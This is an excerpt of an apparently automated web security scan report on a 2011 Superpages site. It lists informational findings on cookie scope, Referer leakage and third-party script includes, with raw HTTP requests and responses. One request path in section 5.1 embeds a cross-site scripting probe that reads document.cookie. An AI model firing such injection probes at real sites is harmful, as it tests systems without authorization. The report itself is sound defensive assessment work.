Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /listings.jsp?C=florists HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=811F8D88B102DA09441F415B8D96C638; Path=/
Set-Cookie: ck_keyword=florists; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: SPC_HP=; Domain=.superpages.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: SPC_LQ=Dallas%7CTX; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: cs_image=http://img.superpages.com/images-yp/sp/images/skylines5/tx/dallas-tx.png; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: yp=C:florists$; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 473673
Date: Thu, 03 Feb 2011 17:09:57 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="search" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"
...[SNIP]...

4. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://yellowpages.superpages.com/listings.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /listings.jsp?C=florists HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=811F8D88B102DA09441F415B8D96C638; Path=/
Set-Cookie: ck_keyword=florists; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: SPC_HP=; Domain=.superpages.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: SPC_LQ=Dallas%7CTX; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: cs_image=http://img.superpages.com/images-yp/sp/images/skylines5/tx/dallas-tx.png; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: yp=C:florists$; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 473673
Date: Thu, 03 Feb 2011 17:09:57 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="search" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"
...[SNIP]...
<li><a title="Advertise with Superpages.com" target="_blank" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaingnId=SP_listing_header" onClick="clickTrackTabs('GT','Advertising', 'yp_listings');">Advertise</a>
...[SNIP]...
<div class="browsers">
<a href="http://www.microsoft.com/windows/internet-explorer/default.aspx" class="ie-btn" title="Internet Explorer 7+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.mozilla.com/en-US/firefox/ie.html" class="ff-btn" title="Firefox 3+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.google.com/chrome" class="ch-btn" title="Chrome"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.apple.com/safari/download/" class="sf-btn" title="Safari"><span class="displace">
...[SNIP]...
<noscript>
<iframe src="//fls.doubleclick.net/activityi;src=1016760;type=relau471;cat=super552;ord=1?" width="1" height="1" frameborder="0" style="position:absolute"></iframe>
...[SNIP]...
<noscript>
<img SRC="http://ad.doubleclick.net/activity;src=1016760;type=adver026;cat=searc609;ord=1?" width="1" height="1" border="0" alt=" " style="position:absolute">
</noscript>
...[SNIP]...
<noscript>
<iframe SRC="http://fls.doubleclick.net/activityi;src=1016760;type=adver026;cat=searc575;ord=1?" title="doubleclick" width="1" height="1" frameborder="0" style="position:absolute">http://fls.doubleclick.net</iframe>
...[SNIP]...
</div>
<img src="http://r.ypcdn.com/1/s/rtd?ptid=SUPERMEDIA&amp;rid=yp424-8081-1296752994997-1899366100&amp;term=florists&amp;city=Dallas&amp;state=TX&amp;vrid=2049436202&amp;v=3&amp;cat=null&amp;lid=7826341&amp;moi=2&amp;poi=1" width="0" height="0" border="0" alt="" >
</div>
...[SNIP]...
</div>
<img src="http://www.business.com/images2/network3.gif?partner=8508000&amp;query=florists&amp;featuredlistingids=2bf53d7b-7843-4d4d-ac07-35bf49663977%401%401%3A&amp;yct=0" width="0" height="0" border="0" alt="">
<script type="text/javascript">
...[SNIP]...
</strong>&nbsp;<a href="http://www.supermedia.com/business-listings?tsrc=SP&campaignId=SP_claim_listing " onClick="clickTrackLR('Find more customers', 'yp_listings');"><strong>
...[SNIP]...
<p class="provided-by">Data provided by one or more of the following: SuperMedia, <a href="http://www.acxiom.com/" rel="nofollow" target="_blank">Acxiom</a>, <a href="http://www.license.infousa.com/" rel="nofollow" target="_blank">Infogroup</a>
...[SNIP]...
</script> <a href="http://www.supermedia.com/">SuperMedia LLC.</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #FFFFFF;">
<a href="http://update.supermedia.com/results.htm?lid=0015490873&amp;src=sp" target="_blank" rel="nofollow" >Dallas House of Flowers</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #EBF4EF;">
<a href="http://update.supermedia.com/results.htm?lid=0015521918&amp;src=sp" target="_blank" rel="nofollow" >Floral Concepts</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #FFFFFF;">
<a href="http://update.supermedia.com/results.htm?lid=0015417686&amp;src=sp" target="_blank" rel="nofollow" >Arts District Flower Market</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #EBF4EF;">
<a href="http://update.supermedia.com/results.htm?lid=2113123841&amp;src=sp" target="_blank" rel="nofollow" >Dallas Floral</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #FFFFFF;">
<a href="http://update.supermedia.com/results.htm?lid=2060675764&amp;src=sp" target="_blank" rel="nofollow" >Floral Concepts</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #EBF4EF;">
<a href="http://update.supermedia.com/results.htm?lid=2240799219&amp;src=sp" target="_blank" rel="nofollow" >Florists in Dallas TX</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #FFFFFF;">
<a href="http://update.supermedia.com/results.htm?lid=0015362467&amp;src=sp" target="_blank" rel="nofollow" >Garden Boutique & Florist</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #EBF4EF;">
<a href="http://update.supermedia.com/results.htm?lid=0144020463&amp;src=sp" target="_blank" rel="nofollow" >Cebolla Fine Flowers</a>
...[SNIP]...
<td colspan=2 style="padding-left:8px;" style="background-color: #FFFFFF;">
<a href="http://update.supermedia.com/results.htm?lid=2190100378&amp;src=sp" target="_blank" rel="nofollow" >All Occasions Flowers Delivery Dallas</a>
...[SNIP]...
<li class="facebook"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com/superpagescom&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true"></iframe></li>
<li class="twitter"><a onClick="clickTrackFooter('follow us on twitter');" href="http://www.twitter.com/superpages" rel="nofollow" title="Follow us on Twitter" target="_blank">Follow us on Twitter</a>
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...
<li><a title="Free business listing" onClick="clickTrackFooter('add or edit a business');" href="http://www.supermedia.com/business-listings?tsrc=SP&campaignId=SP_FT_AddEditaBusiness">Add or Edit a Business</a>
...[SNIP]...
<li><a title="Online advertising" onClick="clickTrackFooter('Advertise with Us');" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaignId=SP_FT_AdvertiseWithUs">Advertise with Us</a>
...[SNIP]...
<li><a title="Careers" onClick="clickTrackFooter('careers');" href="http://jobs.supermedia.com/">Careers</a></li>
<li><a title="Contact Us" onClick="clickTrackFooter('contact us');" href="http://www.supermedia.com/support/contact-us">Contact Us</a>
...[SNIP]...
<li><a title="Connect with and hire local businesses" target="_blank" onClick="clickTrackFooter('Ask Learn Hire');" href="http://www.asklearnhire.com">Ask Learn Hire</a>
...[SNIP]...
<div class="logo-wrapper">
<a onClick="clickTrackFooter('SuperMedia Logo');" alt="SuperMedia" class="supermedia-logo" href="http://www.supermedia.com">Supermedia</a>
...[SNIP]...
<p class="copyright">&copy; 2009 - 2011 SuperMedia LLC. All rights reserved. * Restrictions apply. For full details, see the <a target="_blank" title="Terms &amp; Conditions (PDF)" onClick="clickTrackFooter('terms and conditions');" href="http://my.supermedia.com/CammsServlet?assetid=10236">Terms and Conditions</a>
...[SNIP]...
<noscript><iframe src="http://view.atdmt.com/iaction/00asup_ContinuitySearchResults2Listings_10" width="1" height="1" frameborder="0" scrolling="No" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0"></iframe>
...[SNIP]...

4.2. http://yellowpages.superpages.com/profile.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /profile.jsp?LID%3D HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=47569E3E31CC750A459D1E34242979C8; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56821
Date: Thu, 03 Feb 2011 17:09:51 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
<li><a title="Advertise with Superpages.com" target="_blank" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaingnId=SP_listing_header" onClick="clickTrackTabs('GT','Advertising', 'yp_error');">Advertise</a>
...[SNIP]...
<div class="browsers">
<a href="http://www.microsoft.com/windows/internet-explorer/default.aspx" class="ie-btn" title="Internet Explorer 7+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.mozilla.com/en-US/firefox/ie.html" class="ff-btn" title="Firefox 3+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.google.com/chrome" class="ch-btn" title="Chrome"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.apple.com/safari/download/" class="sf-btn" title="Safari"><span class="displace">
...[SNIP]...
<noscript>
<iframe src="//fls.doubleclick.net/activityi;src=1016760;type=relau471;cat=super552;ord=1?" width="1" height="1" frameborder="0" style="position:absolute"></iframe>
...[SNIP]...
<li class="facebook"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com/superpagescom&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true"></iframe></li>
<li class="twitter"><a onClick="clickTrackFooter('follow us on twitter');" href="http://www.twitter.com/superpages" rel="nofollow" title="Follow us on Twitter" target="_blank">Follow us on Twitter</a>
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...
<li><a title="Free business listing" onClick="clickTrackFooter('add or edit a business');" href="http://www.supermedia.com/business-listings?tsrc=SP&campaignId=SP_FT_AddEditaBusiness">Add or Edit a Business</a>
...[SNIP]...
<li><a title="Online advertising" onClick="clickTrackFooter('Advertise with Us');" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaignId=SP_FT_AdvertiseWithUs">Advertise with Us</a>
...[SNIP]...
<li><a title="Careers" onClick="clickTrackFooter('careers');" href="http://jobs.supermedia.com/">Careers</a></li>
<li><a title="Contact Us" onClick="clickTrackFooter('contact us');" href="http://www.supermedia.com/support/contact-us">Contact Us</a>
...[SNIP]...
<li><a title="Connect with and hire local businesses" target="_blank" onClick="clickTrackFooter('Ask Learn Hire');" href="http://www.asklearnhire.com">Ask Learn Hire</a>
...[SNIP]...
<div class="logo-wrapper">
<a onClick="clickTrackFooter('SuperMedia Logo');" alt="SuperMedia" class="supermedia-logo" href="http://www.supermedia.com">Supermedia</a>
...[SNIP]...
<p class="copyright">&copy; 2009 - 2011 SuperMedia LLC. All rights reserved. * Restrictions apply. For full details, see the <a target="_blank" title="Terms &amp; Conditions (PDF)" onClick="clickTrackFooter('terms and conditions');" href="http://my.supermedia.com/CammsServlet?assetid=10236">Terms and Conditions</a>
...[SNIP]...

4.3. http://yellowpages.superpages.com/profiler/abook.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /profiler/abook.jsp?requestAction=toCoupons HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=DBCDFB9F9B9263905676A09E7556E316; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 63867
Date: Thu, 03 Feb 2011 17:09:48 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<li><a title="Advertise with Superpages.com" target="_blank" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaingnId=SP_listing_header" onClick="clickTrackTabs('GT','Advertising', 'address_book');">Advertise</a>
...[SNIP]...
<div class="browsers">
<a href="http://www.microsoft.com/windows/internet-explorer/default.aspx" class="ie-btn" title="Internet Explorer 7+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.mozilla.com/en-US/firefox/ie.html" class="ff-btn" title="Firefox 3+"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.google.com/chrome" class="ch-btn" title="Chrome"><span class="displace">
...[SNIP]...
</a>
<a href="http://www.apple.com/safari/download/" class="sf-btn" title="Safari"><span class="displace">
...[SNIP]...
<noscript>
<iframe src="//fls.doubleclick.net/activityi;src=1016760;type=relau471;cat=super552;ord=1?" width="1" height="1" frameborder="0" style="position:absolute"></iframe>
...[SNIP]...
</script> <a href="http://www.supermedia.com/">SuperMedia LLC.</a>
...[SNIP]...
<li class="facebook"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com/superpagescom&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true"></iframe></li>
<li class="twitter"><a onClick="clickTrackFooter('follow us on twitter');" href="http://www.twitter.com/superpages" rel="nofollow" title="Follow us on Twitter" target="_blank">Follow us on Twitter</a>
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...
<li><a title="Free business listing" onClick="clickTrackFooter('add or edit a business');" href="http://www.supermedia.com/business-listings?tsrc=SP&campaignId=SP_FT_AddEditaBusiness">Add or Edit a Business</a>
...[SNIP]...
<li><a title="Online advertising" onClick="clickTrackFooter('Advertise with Us');" href="http://www.supermedia.com/online-advertising?tsrc=SP&campaignId=SP_FT_AdvertiseWithUs">Advertise with Us</a>
...[SNIP]...
<li><a title="Careers" onClick="clickTrackFooter('careers');" href="http://jobs.supermedia.com/">Careers</a></li>
<li><a title="Contact Us" onClick="clickTrackFooter('contact us');" href="http://www.supermedia.com/support/contact-us">Contact Us</a>
...[SNIP]...
<li><a title="Connect with and hire local businesses" target="_blank" onClick="clickTrackFooter('Ask Learn Hire');" href="http://www.asklearnhire.com">Ask Learn Hire</a>
...[SNIP]...
<div class="logo-wrapper">
<a onClick="clickTrackFooter('SuperMedia Logo');" alt="SuperMedia" class="supermedia-logo" href="http://www.supermedia.com">Supermedia</a>
...[SNIP]...
<p class="copyright">&copy; 2009 - 2011 SuperMedia LLC. All rights reserved. * Restrictions apply. For full details, see the <a target="_blank" title="Terms &amp; Conditions (PDF)" onClick="clickTrackFooter('terms and conditions');" href="http://my.supermedia.com/CammsServlet?assetid=10236">Terms and Conditions</a>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; __unam=c5114f2-12dec4b1cc4-7f15d273-1; web=; shopping=; yp=; s_lastvisit=1296754109045; s_cc=true; s.campaign=comlocal1a; s_sq=%5B%5BB%5D%5D; s_ppv=100; JSESSIONID=1548CC17F18E88EC836FF5289840A759

Response

HTTP/1.1 404 /common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6
Server: Unspecified
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 18:37:36 GMT
Cache-Control: private
Content-Length: 36120


                       <!--
       
       -->


                                   
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...

5.2. http://yellowpages.superpages.com/listings.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /listings.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=A128B8617DC8ADD934177CBF98AE8973; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56902
Date: Thu, 03 Feb 2011 17:09:52 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...

5.3. http://yellowpages.superpages.com/profile.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /profile.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=34F8CD7F11AAE29FCDCADE0C5D2C054F; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56809
Date: Thu, 03 Feb 2011 17:09:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...

5.4. http://yellowpages.superpages.com/profiler/abook.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /profiler/abook.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=9349333F823CAE7CC6FEBB66A7259273; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 63675
Date: Thu, 03 Feb 2011 17:09:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<li class="share"><script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f1e9c8d0-3080-41f3-aa42-c74fedee948a&amp;type=website&amp;post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine"></script>
...[SNIP]...

6. Email addresses disclosed  previous  next
There are 5 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

